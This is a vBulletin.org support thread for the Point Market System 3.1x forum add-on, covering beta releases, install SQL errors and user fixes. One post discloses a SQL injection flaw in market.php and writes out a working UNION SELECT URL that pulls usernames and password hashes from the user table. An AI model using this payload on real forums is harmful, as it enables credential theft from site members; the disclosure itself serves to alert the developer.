Point Market System 3.1x

[Shadow09]

same problem here, other users actions not working, "User not found" comes up.
waiting for the update :)

Exactly the same.

[TheMayhem]

Hmmm I'm getting good at this whole bug fixing phase :)


Anyways, this is the official Beta 3 release post. I released this early because there was a very small mistake in beta 2 that made it so users could not donate &/or purchase items for other users. Unfortunately, there are no new features or completed sections in this release because I ended up rolling it out about a week sooner then I was expecting. However, I did finally address several long standing bug issues related to the gifts, gift market, and custom gift creation. Below is the bug fixes:

--------------
Beta 3 Bug Fixes
--------------
** Can Not Find User when donating or purchasing a specific item for other users
** Custom Gifts not giving points to buyer or taking away points from seller with vBExperience
** Gifts and Custom Gift purchases getting grouped together in certain situations by accident
** Custom Gifts not showing the correct icon on postbit & memberlist



Now with this being release we are now in the month of April. Unfortunately & fortunately, I am graduating at the end of this month (Thank God). This also means I'm about to be unemployed (FUDGE) so my schedule will be busier then normal. I'll be looking to probably pickup some extra cash this summer with this mod by offering new market items that users want to pay for or something along those lines to bring in some extra cash, but will also as always keep this mod free as a full version mod here on vBulletin.org. Also, since I'll be interviewing and busier then normal, i won't be able to get the weekly releases on this forum like I've done in the past :( In 2 weeks, I'll attempt to release Beta 4, which should have more completed sections in it. The following release will probably occur during the first week of May. I'm sorry I can't get more out there than that; however, like I said I'm busy and cash strapped.

Thanks again for the continued support of this mod and we are getting closer to a completed product. I will say this mod is very stable anymore and is definately way better than 3.0x series :)

[stamos2003]

thanks a lot for the update, gifts/donations seems to work now :) :)

edit: sent a small donation ;)

[TheMayhem]

Thank you :)

[smooth-c]

I've been following this for a while. Does anyone have any of their own sites I can look at and check out the full working product?

Thanks!

Greg

[C0D3D]

can you explain how to use the converter properly? I'm not sure what I put in the Point Field

Can someone answer my question please?

Also where did the converter go in market?

[TheMayhem]

Can someone answer my question please?

Also where did the converter go in market?

The Converter is still there unless you turned it off for a usergroup

Point Field would be like what is your primary usergroup? ex: ucash, market_xperience, and so forth. This is the field that will receive your points.

[Webrunner]

Great mod!
Question: How can i add fonts to the topic font face product?

[Webrunner]

I am getting a database error:

Database error in vBulletin 4.1.2:

Invalid SQL:
ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

MySQL Error : Duplicate column name 'image_big_3'
Error Number : 1060
Request Date : Monday, April 4th 2011 @ 04:19:11 PM
Error Date : Monday, April 4th 2011 @ 04:19:16 PM
Script : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productimport
Referrer : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productadd
IP Address : 92.65.36.252
Username :
Classname : vB_Database


I looked at the XML and it is trying to create the same column twice in line 1994 i believe (i'm no expert:p)

[Sarab]

I am getting a database error:

Database error in vBulletin 4.1.2:

Invalid SQL:
ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

MySQL Error : Duplicate column name 'image_big_3'
Error Number : 1060
Request Date : Monday, April 4th 2011 @ 04:19:11 PM
Error Date : Monday, April 4th 2011 @ 04:19:16 PM
Script : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productimport
Referrer : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productadd
IP Address : 92.65.36.252
Username :
Classname : vB_Database


I looked at the XML and it is trying to create the same column twice in line 1994 i believe (i'm no expert:p)

me too, I hope this problem will be fix soon +.+

[TheMayhem]

I kind of ran into a problem this week. My host unexpectly dumped me this week so I really have no dedicated server to use my testing forum and developmental forum for the Point Market to continue to work on creating new features and fixing your bugs. :( Not sure what to do since I am definately cash strapped and I definately can't program this modification without having a server to do it on.

[RMonster]

How much disk space and bandwidth you need man?

I kind of ran into a problem this week. My host unexpectly dumped me this week so I really have no dedicated server to use my testing forum and developmental forum for the Point Market to continue to work on creating new features and fixing your bugs. :( Not sure what to do since I am definately cash strapped and I definately can't program this modification without having a server to do it on.

[guest9]

I am getting a database error:

Database error in vBulletin 4.1.2:

Invalid SQL:
ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

MySQL Error : Duplicate column name 'image_big_3'
Error Number : 1060
Request Date : Monday, April 4th 2011 @ 04:19:11 PM
Error Date : Monday, April 4th 2011 @ 04:19:16 PM
Script : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productimport
Referrer : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productadd
IP Address : 92.65.36.252
Username :
Classname : vB_Database


I looked at the XML and it is trying to create the same column twice in line 1994 i believe (i'm no expert:p)
same db issue :(

[guest9]

same db issue :(

Ok this is how I solved the issue

0. Dropped the tables/database which was created on my first attempt of the importing the xml file (starts with the market_)
1. Downloaded the latest version & uploaded the files except the xml
2. Downloaded version 3.1.0 beta 2.zip and imported this version of xml
3. Now I have imported the latest version xml file by setting the overwrite to "Yes".
Success! :D

[TheMayhem]

Or you could just edit the product file and take:

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

And make it

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`;

Save and done ;) I can't confirm if it'll work but I'm 99% sure it will ;)

[smirkley]

How much disk space and bandwidth you need man?

Ditto MH. I have extra bandwidth if needed if one were inclined. ;)

Two things,..


1 - This guy needs some server space. One of the best mods out here and very dedicated support, no? I can step up for the purpose of dev on this mod Mayhem. PM me if interested.

2 - I think it's way past time that some of us (ones that can of course), step up and donate. We have to recognise the efforts in this mod. It isnt just a small tweak or little xml file. Just saying.
(5, 10 bucks here and there is way worth it imho for those that use this product and would him alot help I am sure.)

[guest9]

Or you could just edit the product file and take:

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

And make it

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`;

Save and done ;) I can't confirm if it'll work but I'm 99% sure it will ;)

how can i disable 3.1.0 Beta 3 from Point Market Information sidebar?


thanks

[Chase]

Very intriguing mod...

I am a bit confused... I am using vbcredits deluxe II on my 3.8.4 forum... do I need to use vbcredits in order to use this mod?

In other words, the point market system does not already have a built in point system so including vbcredits (and it's credit field) works with this mod?

[mikeylikesitz]

@Chase, you are correct

[TheMayhem]

how can i disable 3.1.0 Beta 3 from Point Market Information sidebar?


thanks

Just edit the MARKET template and remove the table row for the Market Information Version.

[guest9]

Just edit the MARKET template and remove the table row for the Market Information Version.

thanks for the quick reply mate
deleted from from three template (market, market_bank & market_convert) and it's gone

i could not find which row to remove from the db (can u please tell me which row from which table?)

I believe you should remove that from that area in your next update as it is not something the end user would be interested in :)


thanks in advance

[rob01]

still having db issues

only the guest solution is working :S

[tandalier]

so i checked the xml and here's the solution - maybe you can change it in the download.

you must change one part in the product-pointmarket.xml

change
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_3` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_4` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_4`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_5` column";

to


$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_3` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_4` INT( 12 ) NOT NULL AFTER `image_big_3`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_4` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_5` INT( 12 ) NOT NULL AFTER `image_big_4`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_5` column";

[Staxed]

for anyone that doesn't want to edit the file themselves, here's an updated product

[tandalier]

don't know why, but I can't see the store-items. i made a category and a store item, but still can't see it in my point market.

[Staxed]

don't know why, but I can't see the store-items. i made a category and a store item, but still can't see it in my point market.

do you have store items enables in the settings? I think it was off by default when I installed it yesterday, not 100% sure though.

[tandalier]

ok, this was the problem - thank you for the help...

[madshark]

I got the big_3 database error. And I did make the edits once I fugured out what was wrong then ran into error :

Invalid SQL:
ALTER TABLE vb_market_items CHANGE `marketid` `mid` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT;

MySQL Error : Duplicate column name 'mid'
Error Number : 1060

Please advice? Thanks

[Staxed]

I got the big_3 database error. And I did make the edits once I fugured out what was wrong then ran into error :

Invalid SQL:
ALTER TABLE vb_market_items CHANGE `marketid` `mid` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT;

MySQL Error : Duplicate column name 'mid'
Error Number : 1060

Please advice? Thanks

you might want to go into your database and delete all the market tables, the reimport the product you edited, that should fix it as long as you did the edits correctly.

[high6]

Is there a reason you need at least 1 primary point to access the market? Even if you can't buy anything you should still be able to browse. Also this is really a pain when you have 2 types of points. As I have points that are free through xperience and points that you buy.

[Staxed]

Has anyone had an issue with the market not writing winnings to the points field in the database?

I just set everything up yesterday and was testing it out today. I realized that if I manually award points to someone from the ACP, or if I use the gambling area and play the 'higher number' game and win...no points are added to the users account.

I know the setting is set correctly for the point field in options, because the balance shows the correct number, and goes down when gambling...it just doesn't go up when I win, or give manual points...

[madkidz]

Hi, this maybe stupid but can members use paypal to buy points withi this system?

[madshark]

you might want to go into your database and delete all the market tables, the reimport the product you edited, that should fix it as long as you did the edits correctly.

Thank You that worked :)

I have vbexperience running as well I'm a little confused of the integration between the two how do exactly do I integrate the two? thanks.

[appleballs]

for anyone that doesn't want to edit the file themselves, here's an updated product

I just installed Point Market System. I'm getting the following error when I try to edit a store item:

Invalid SQL:

UPDATE market_store SET
`name` = 'Target Gift Card',
`amount1` = '200',
`amount2` = '0',
`iscategory` = '0',
`parentid` = '1',
`payment` = '4',
`type` = '0',
`quantity_total` = '0',
`order` = '0',
`description` = '',
`instructions` = '',
`image_small` = '',
`image_big` = '',
`active` = '1'
where marketid='2';

MySQL Error : Unknown column 'image_big' in 'field list'

The 'market_store' table looks like this:

mysql> describe market_store;
+----------------+------------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------------+------------------------+------+-----+---------+----------------+
| marketid | int(10) unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(50) | NO | | NULL | |
| parentid | int(6) unsigned | NO | | NULL | |
| iscategory | tinyint(3) unsigned | NO | | NULL | |
| amount1 | decimal(12,2) unsigned | NO | | NULL | |
| amount2 | decimal(12,2) unsigned | NO | | NULL | |
| payment | int(6) unsigned | NO | | NULL | |
| type | int(6) unsigned | NO | | NULL | |
| description | text | NO | | NULL | |
| instructions | text | NO | | NULL | |
| image_small | varchar(150) | NO | | NULL | |
| image_big_1 | varchar(150) | NO | | NULL | |
| image_big_2 | int(12) | NO | | NULL | |
| image_big_3 | int(12) | NO | | NULL | |
| image_big_4 | int(12) | NO | | NULL | |
| image_big_5 | int(12) | NO | | NULL | |
| rating_total | int(12) unsigned | NO | | NULL | |
| times_rated | int(12) unsigned | NO | | NULL | |
| quantity_total | int(6) unsigned | NO | | NULL | |
| order | int(6) unsigned | NO | | NULL | |
| active | int(6) unsigned | NO | | NULL | |
+----------------+------------------------+------+-----+---------+----------------+
21 rows in set (0.01 sec)


So the field 'image_big' does not exist in the table. What's the best way to fix this?

[Staxed]

did you upload the product I attached after you had already tried the one that came with the package?

If so, you need to go into your database and delete all the market tables and then reupload the product I attached

I'm at work right now, but I'll look at the code when I get home and see if there was something else missing that might be needed. I haven't actually tried to install a new item with mine at all so haven't seen that error.

[appleballs]

I first installed the product using the xml file from the original package, which fails because of the 'big_image_1' error. I then deleted all the market tables, uploaded your xml file and then did the install again (which worked). I was able to create a store item and store category. When I tried to edit these items I got the sql error.

[appleballs]

Any luck with this issue?

[appleballs]

For now I made the following changes to make this work:

admin/market_store.php line 381 I added:

`image_big_1` = '" . $db->escape_string($vbulletin->GPC['image_big']) . "',

and added a new field to the 'market_store' table:

alter table market_store add column image_big varchar(150) not null;

Will this work? I am now able to edit store items but are there other issues to consider?

[Sai01]

I get database error when trying to upload the plugin product-pointmarket.xml

My vbulletin version is 4.1.3

any idea?

[high6]

*sighs* This doesn't even surprise me anymore.
http://www.exploit-db.com/exploits/17141/

You forgot quotes around the input. You can use this exploit to get users passwords/salt.

http://www.forum.com/market.php?do=cat&id=1+union+select+1,2,username,4,5,6,7,password,9, 10,11,12,13,14,15,16,17+FROM+user+LIMIT+0,10--

[DonosOdD]

I have a question.

I want to delete a purchase one of my users made...how can I do that?

[stamos2003]

I have a question.

I want to delete a purchase one of my users made...how can I do that?

admin c/p ---> search user and change the options

[TheMayhem]

Hey everyone,

Just checking in. I see there's a few issues related to database tables currently with Beta 3. I plan on addressing that with a quick beta 4 release in the next few days just to offset any issues associated. As everyone knows I'm graduating college this month (finally). I haven't been able to get on quite as much as normal because the end of the semester projects they have had me doing is off the charts crazy. Nonetheless, I'll get an updated beta out in the next few days that simply addresses the database/table/sql errors that you were experiencing from changes with beta 3.

[Sai01]

thank you for your hard work!

[Webrunner]

Hi,
I will have two servers available in a week or so. If you want i can donate one of them for this project. (just the server, not the hosting, i can arrange for hosting if you want or maybe someone else wants to help you with that)

They are about 4 years old but still running perfectly (i hosted my 4million page-views a month forum on them)

Also i have a few questions which i can't seem to figure out:

1. How do i add font faces to a product that changes for instance the post font face?
2. When i purchase a topic color it shows me a drop-down with colors. Also it states me to enter a topic ID to identify the topic that needs to be colored. But there is no field to enter a topic ID.
What am idoing wrong?

[Skyrider]

Same SQL errors when trying to add the plugin. Can't wait for Beta 4 for the fix! :D

[geckoz]

Can anyone provide a German translation of the latest version???

[eddied316]

How do users post items?

Also, I have setup a test item...Say I want to sell a link...where would I put it, so they can receive it once ordering.

[djdog]

Running vBulletin 4.0.1

Recieving this error on product import:


Database error in vBulletin 4.0.1:

Invalid SQL:
ALTER TABLE market_items CHANGE `marketid` `mid` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT;

MySQL Error : Duplicate column name 'mid'
Error Number : 1060
Request Date : Monday, April 18th 2011 @ 11:09:54 PM
Error Date : Monday, April 18th 2011 @ 11:09:55 PM
Classname : vB_Database
MySQL Version : 5.0.91-community-log


Completed removed market_ tables and attempted to install again and recieved the following error.


Database error in vBulletin 4.0.1:

Invalid SQL:
ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

MySQL Error : Duplicate column name 'image_big_3'
Error Number : 1060
Request Date : Wednesday, April 20th 2011 @ 02:10:08 AM
Error Date : Wednesday, April 20th 2011 @ 02:10:09 AM
Script : http://hostedtalk.com/admincp/plugin.php?do=productimport
Referrer : http://hostedtalk.com/admincp/plugin.php?do=productadd
IP Address : 99.35.212.62
Username : Cory
Classname : vB_Database
MySQL Version : 5.0.91-community-log


Old Error isn't relevant anymore as I've removed the tables one more time manually and attempted to install and I get the same error; so this could be duplicated.

I'm running uCash.

[netpants]

I am running 4.1.3 vB. when I click on purchase to purchase anything all I get is a white page. Any help would be appreciated.

[Sai01]

how can you get it to install? i can't even get it to install on my 4.1.3 vbulletin. database error all the time is all i get.

*is waiting for beta4 for the fix*

[Skyrider]

how can you get it to install? i can't even get it to install on my 4.1.3 vbulletin. database error all the time is all i get.

*is waiting for beta4 for the fix*
Check a few pages back, someone attached the plugin as a temp fix.

[netpants]

I am getting this error, anyone know how to fix it?

vB 4.1.3

Cannot use object of type mysqli_result as array in /home/username/public_html/pointmarket/market_purchase.php

[djdog]

Uploading Beta 3, I get the SQL Error:


Database error in vBulletin 4.0.1:

Invalid SQL:
ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

MySQL Error : Duplicate column name 'image_big_3'
Error Number : 1060
Request Date : Wednesday, April 20th 2011 @ 02:10:08 AM
Error Date : Wednesday, April 20th 2011 @ 02:10:09 AM
Script : http://hostedtalk.com/admincp/plugin.php?do=productimport
Referrer : http://hostedtalk.com/admincp/plugin.php?do=productadd
IP Address : 99.35.212.62
Username : Cory
Classname : vB_Database
MySQL Version : 5.0.91-community-log


I've read back a few posts:

Ok this is how I solved the issue

0. Dropped the tables/database which was created on my first attempt of the importing the xml file (starts with the market_)
1. Downloaded the latest version & uploaded the files except the xml
2. Downloaded version 3.1.0 beta 2.zip and imported this version of xml
3. Now I have imported the latest version xml file by setting the overwrite to "Yes".
Success! :D

Or you could just edit the product file and take:

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

And make it

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`;

Save and done ;) I can't confirm if it'll work but I'm 99% sure it will ;)


Tried these with and without reading (first try), but to no avail - This did not work.

Edited to use Code Tags:

so i checked the xml and here's the solution - maybe you can change it in the download.

you must change one part in the product-pointmarket.xml

change


$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_3` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_4` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_4`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_5` column";


to

$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_3` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_4` INT( 12 ) NOT NULL AFTER `image_big_3`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_4` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_5` INT( 12 ) NOT NULL AFTER `image_big_4`");
print "<b>3.1.0:</b> Updating Market Store Table... Adding `image_big_5` column";


Download is altered product file (Same edits as above)
for anyone that doesn't want to edit the file themselves, here's an updated product

This is what is happening each time; They do 'Import', but their is no 'admin settings' and market.php shows 'database error'.

When doing the alterations from what I've tried and what people asked, I get the same error from Alpha, Beta 1, Beta 2 and Altered Beta 3's. (Originally gives me the big_image error)

I get 'undisclosed_tag' - Which I assume means some where in the XML Code there must be an undisclosed tag causing it not install.

I'm hoping a beta4 (or final) will be released soon.

or at least a temporary fix.

[Webrunner]

Hi,
I will have two servers available in a week or so. If you want i can donate one of them for this project. (just the server, not the hosting, i can arrange for hosting if you want or maybe someone else wants to help you with that)

They are about 4 years old but still running perfectly (i hosted my 4million page-views a month forum on them)

Also i have a few questions which i can't seem to figure out:

1. How do i add font faces to a product that changes for instance the post font face?
2. When i purchase a topic color it shows me a drop-down with colors. Also it states me to enter a topic ID to identify the topic that needs to be colored. But there is no field to enter a topic ID.
What am idoing wrong?

Anyone?

I have another question.
My users are complaining that they "bought" a post color and that the post color isn't visible in the social group discussions.
Does anyone know how to get this done? :confused:

[TheMayhem]

Yeah it just needs a plugin, I never really paid attention to the social groups but if I remember I'll get it on the next beta for you :)

I was able to get my hosting/test site up today finally so I've been working through the bugs. I'm going to schedule Beta 4 for Sunday as an Easter day release :)

[Webrunner]

That is great news, thanks for your support!
So i guess you won't be needing one of my servers?

[TheMayhem]

Okay I'm still planning on releasing Beta 4 this coming Sunday.

However, I was working on the Market tonight and decided to release Beta 3 again updated that corrects the product import bug as well as the store pages in the ACP. The reason you were getting that is between Beta 2 and Beta 3 I was reworking how I store images related to the Market Store and how they are viewed. I wanted to create a little slideshow for each market store product that could be scrolled through. I never completed it though and always intended releasing it on beta 4 to be tried. However, I made an error with the mysql part and never remembered to check it before I released Beta 3.

So if your using Beta 3 and already corrected the sql error, I still ask you download the updated beta3r2 zip and upgrade your database as well as the files. I'll include a more detailed release on Sunday but I want to make sure my fix works on users who experienced this bug as well as new users and the only way for me to tell is if you test it.

Keep up with the bug reports so that I can include it on Sunday's release for Beta 4. Hope all is well for all the users using this mod. :)

[djdog]

Downloaded.

Uploaded new files.

Uninstalled old version from Product Manager.

Result: unclosed_tag

Point Market, Admin panel doesn't display.

market.php still has a 'Database Error'.

Uninstalled using the "Newer Beta 3r2" and didn't work, I doubled check the MySQL database;

These tables were still intacted.

`market_bank_paycheck`, `market_coupons`, `market_currency`, `market_currency_transactions`;


So, I dropped them and imported the database and same error unclosed_tag.

Point Marked, admin panel doesn't show.

Uninstalled it again and;


`market_bank_paycheck`, `market_coupons`, `market_currency`, `market_currency_transactions`;


Remains, possible for converting reasons?

I'll wait for beta 4.

I'm on 4.0.1 - So wondering if this is the issue.

I have a few friends who own their own vBulletin license and I told I'm going to install it and see if it works.

Tested: 4.0.1 - Doesn't Work
Tested: 4.1.x - Works!

I would like this corrected to work on vBulletin 4.0.1 - Thanks.

[TheMayhem]

Downloaded.

Uploaded new files.

Uninstalled old version from Product Manager.

Result: unclosed_tag

Point Market, Admin panel doesn't display.

market.php still has a 'Database Error'.

Uninstalled using the "Newer Beta 3r2" and didn't work, I doubled check the MySQL database;

These tables were still intacted.

`market_bank_paycheck`, `market_coupons`, `market_currency`, `market_currency_transactions`;


So, I dropped them and imported the database and same error unclosed_tag.

Point Marked, admin panel doesn't show.

Uninstalled it again and;


`market_bank_paycheck`, `market_coupons`, `market_currency`, `market_currency_transactions`;


Remains, possible for converting reasons?

I'll wait for beta 4.

I'm on 4.0.1 - So wondering if this is the issue.

I have a few friends who own their own vBulletin license and I told I'm going to install it and see if it works.

Tested: 4.0.1 - Doesn't Work
Tested: 4.1.x - Works!

I would like this corrected to work on vBulletin 4.0.1 - Thanks.

I am not going to be able to fix this error unless you provide temporary admin access for me via private message. I've had people report this bug throughout the existance of the market but no one ever provides me access to physically be able to test it and since it only occurs to a very small percent of people there is no way for me to be able to track down where the error is actually occurying.

[Skyrider]

Why do I keep getting:
The point field has been entered but no data exists in this field name.

The point field is:
market_xperience

in the Point Market system.

EDIT:

Found it..

Market_xperience no longer exists.. It's xperience now.

$xperience['points'] = vb_number_format($post['xperience']);
$xperience['level'] = vb_number_format($post['xperience_level']);
$xperience['levelp'] = vb_number_format($post['xperience_levelp'], 1);
$xperience['level_up'] = vb_number_format($post['xperience_next_level']);
$xperience['level_up_points'] = vb_number_format($post['xperience_next_level_points']);
$xperience['ppd'] = vb_number_format($post['xperience_ppd'], 1);

[Webrunner]

Please remember to add the plug-in for the posts social groups ;)

[TheMayhem]

Why do I keep getting:


The point field is:


in the Point Market system.

EDIT:

Found it..

Market_xperience no longer exists.. It's xperience now.

$xperience['points'] = vb_number_format($post['xperience']);
$xperience['level'] = vb_number_format($post['xperience_level']);
$xperience['levelp'] = vb_number_format($post['xperience_levelp'], 1);
$xperience['level_up'] = vb_number_format($post['xperience_next_level']);
$xperience['level_up_points'] = vb_number_format($post['xperience_next_level_points']);
$xperience['ppd'] = vb_number_format($post['xperience_ppd'], 1);

Hmm I wonder what Phalynx would change that. I sent him a PM related to it let me ask him before you use that as the field because vBExperience does a lot of calculations and I don't want our mod to mess up how he calculates points earned.



As a follow up to what I posted earlier, I'm on hold on releasing Beta 4 until I hear from Phalynx on related to the vBExperience changes. That's simply because the majority of the users who use the market also use vBExperience and it's very important that the two work well together.

As far as good news, I've done a lot of modifications to the product pointmarket that's given people issues over the year that the Market has been alive. I finally found and fixed a longstanding bug related to an unclosed tag occurring on importing the Point Market that some people experienced. Another bug I fixed was a duplicate column error related to the mid or users not having the mid column being created. Once you upgrade to Beta 4 this should fix these errors and it will also save so it doesn't try to create duplicate fields in the future. Beta 4 is going to feature the screenshot selection for the Market Store. There isn't much left to script related to the 3.1x series so we will be going to a Release Canidate stage by the end of May and wrapping this bad boy up :)

[djdog]

Hmm I wonder what Phalynx would change that. I sent him a PM related to it let me ask him before you use that as the field because vBExperience does a lot of calculations and I don't want our mod to mess up how he calculates points earned.



As a follow up to what I posted earlier, I'm on hold on releasing Beta 4 until I hear from Phalynx on related to the vBExperience changes. That's simply because the majority of the users who use the market also use vBExperience and it's very important that the two work well together.

As far as good news, I've done a lot of modifications to the product pointmarket that's given people issues over the year that the Market has been alive. I finally found and fixed a longstanding bug related to an unclosed tag occurring on importing the Point Market that some people experienced. Another bug I fixed was a duplicate column error related to the mid or users not having the mid column being created. Once you upgrade to Beta 4 this should fix these errors and it will also save so it doesn't try to create duplicate fields in the future. Beta 4 is going to feature the screenshot selection for the Market Store. There isn't much left to script related to the 3.1x series so we will be going to a Release Canidate stage by the end of May and wrapping this bad boy up :)

Great news and I helped to contribute to fix those pesky bugs! Exterminate them all!

[TheMayhem]

This is the official post for Beta 4 release:

Beta 4 is now complete. I am very happy to announce that with the exception of the coupon listings page, all main features for the 3.1x series have been scripted with the Point Market. I fixed some severe long term bugs that were occurring for some users since the version 1x series with this release. In addition, the product file has been updated and is far more advanced and better to deal with when doing upgrades from existing Point Market versions.

Beta 4 has a few features that have been heavily requested but never been completed due to time constraints or me not being exactly sure on how to complete. You can no have files that users can purchase with the Store section of the point market that can be downloaded. This is in addition to the current no shipping method, mail method, or email method. Another cool feature I scripted with Beta 4 is I completely redid the big image screenshots that are available for market store items. Admins can now upload up to 5 images that can be viewed by users in a nice javascript slideshow. I really hope that the improvements I've made over the beta series will greatly benefit you the users.

So what's next? Well the next Beta will see the completion on my end as far as main features. All I have left to do is script the coupon listings page, which I've already started on. That will just display available coupons for users to choose from if they purchased the feature. Outside of that, I'm done. There will be 2 more betas in total. 1 will have my coupon listings and the final beta will feature any other minor tweaks or requests the users really feel I need to add before this goes to a release candidate.

If I missed any bugs that were reported and still exist, please make sure you reply to "remind" me. We want to squash all remaining bugs so this thing can go gold with as few RC's as possible. Below is the bug fix log:


--------------
Beta 4 Bug Fixes
--------------
** Import/Overwrite Product Mysql Error related to image_big_3 for market_store table
** Import Product Unclosed Tag Error Related to </vb:if> in market_convert_transaction template
** Duplicate column error if reimporting for mid field in market_items table in product file
** Several tables not being removed when doing an uninstall of the Point Market

[djdog]

First one to download 'Beta 4', Installed and Imported successfully on version 4.0.1

Thanks!

I don't know if this is possible with your script or has to be done with uCash (Point System, I'm using), but there anyway to support majority of the Shout boxes/Chat Boxes to gain points for posting?

[TheMayhem]

First one to download 'Beta 4', Installed and Imported successfully on version 4.0.1

Thanks!

I don't know if this is possible with your script or has to be done with uCash (Point System, I'm using), but there anyway to support majority of the Shout boxes/Chat Boxes to gain points for posting?

Gaining points per shout would be more of a modification for your point system to add (vbexperience, ucash, vbcredits, etc.) because it deals with adding points. Point systems main objectives are to do actions to earn points where as the market is supposed to take away points ;)

And I'm very glad that you can now successfully import the point market. Just remember because your using 4.0.1 that there might be a few sections that don't work completely correct because your version is about a year old.

[djdog]

Yeah, I figured.

Is uCash the best way to go? or which one do you recommend, I don't think their a side by side comparison.

Yeah, I can't any many other can't justify the price of upgrading to the latest when the upgrades cost $175 whereas it use to be $60.00, Only reason why I'm on v4 is it's OWNED v3 license that offers v4 from that license, which is perfectly legal, based on the F.A.Q. I've read.

I planned to upgrade in the future, either by sucking it up and just buy the license or find a cheaper license on a forum that someone else had purchased an no longer needs it.

[TheMayhem]

Hmmm... there is no point product I'd really recommend over the other.

uCash as you asked about is very-very easy to use. It doesn't have near the features or potential capabilities in determining how you earn points as some of the other point systems; however, for some users that is exactly what they want. Something that is very easy to use and straight forward to manage.

I personally use vBExperience because I like how it calculates activity. The admin system is rather easy. In addition, I think the majority of market users use vbexperience in some form or another so I want to make sure I'm familiar with it as possible.

There are some other modifications that you should also consider such as vBCredits Deluxe or vBActivity. I originally built the Point Market system for vBCredits because I used it in the 3.x series and was highly frustrated that no one came out with a shop/store system to purchase cool market addon features. I'd probably still use vbcredits deluxe if I could find the cash to purchase the full version that isn't offered here because many of my users still use it. vBActivity from what I saw was a great activity alternative to vBExperience, but it just depends on what admin cp system your most comfortable with since the layouts are a little different on each.

There's some other systems I haven't tested near as much such as kbank and so forth. Those you could also try but really I'd recommend installing several systems and playing with each for a few days before you make up your mind. Remember, the Point Market will support two different currencies so theoretically you could use 2 point systems and use them in some capacity or another within the Point Market. I can't really recommend one system over the other because I try to stay neutral so I can support all point systems but play around and find out what works best with your forum needs. If one system doesn't make sense or is too confusing there are enough point system alternatives you can always try but only one Point Market ;)

[sadaar]

Sorry to be so n00b, but HOW does one sell a gift that has been created through the "create a gift" item? It shows up on profiles as purchased and active, but I see not how to sell it.

[MMObeat]

Thanks for this! Love it!

[TheMayhem]

Sorry to be so n00b, but HOW does one sell a gift that has been created through the "create a gift" item? It shows up on profiles as purchased and active, but I see not how to sell it.

If a user purchases access to the gift market, they will be able to go to the gift market and purchase an existing gift that another user purchased. The goal of create a gift is to add some icons/awards that a user might not be able to get if they just went to buying a regular gift.

[adc-arab]

thanks a lot TheMayhem great effort and nice work ;)

I got an error after i installed version 3.1.0 Beta 4 as when i try to open the market page (market.php) i get a white page with this error

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /home/XXXXX/public_html/vb/includes/class_core.php(4032) : eval()'d code on line 54 Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /home/XXXXX/public_html/vb/includes/class_core.php(4032) : eval()'d code on line 54

i also tried to see the class_core file and see that line and it was

define('POST_FLAG_DELETED', 2);

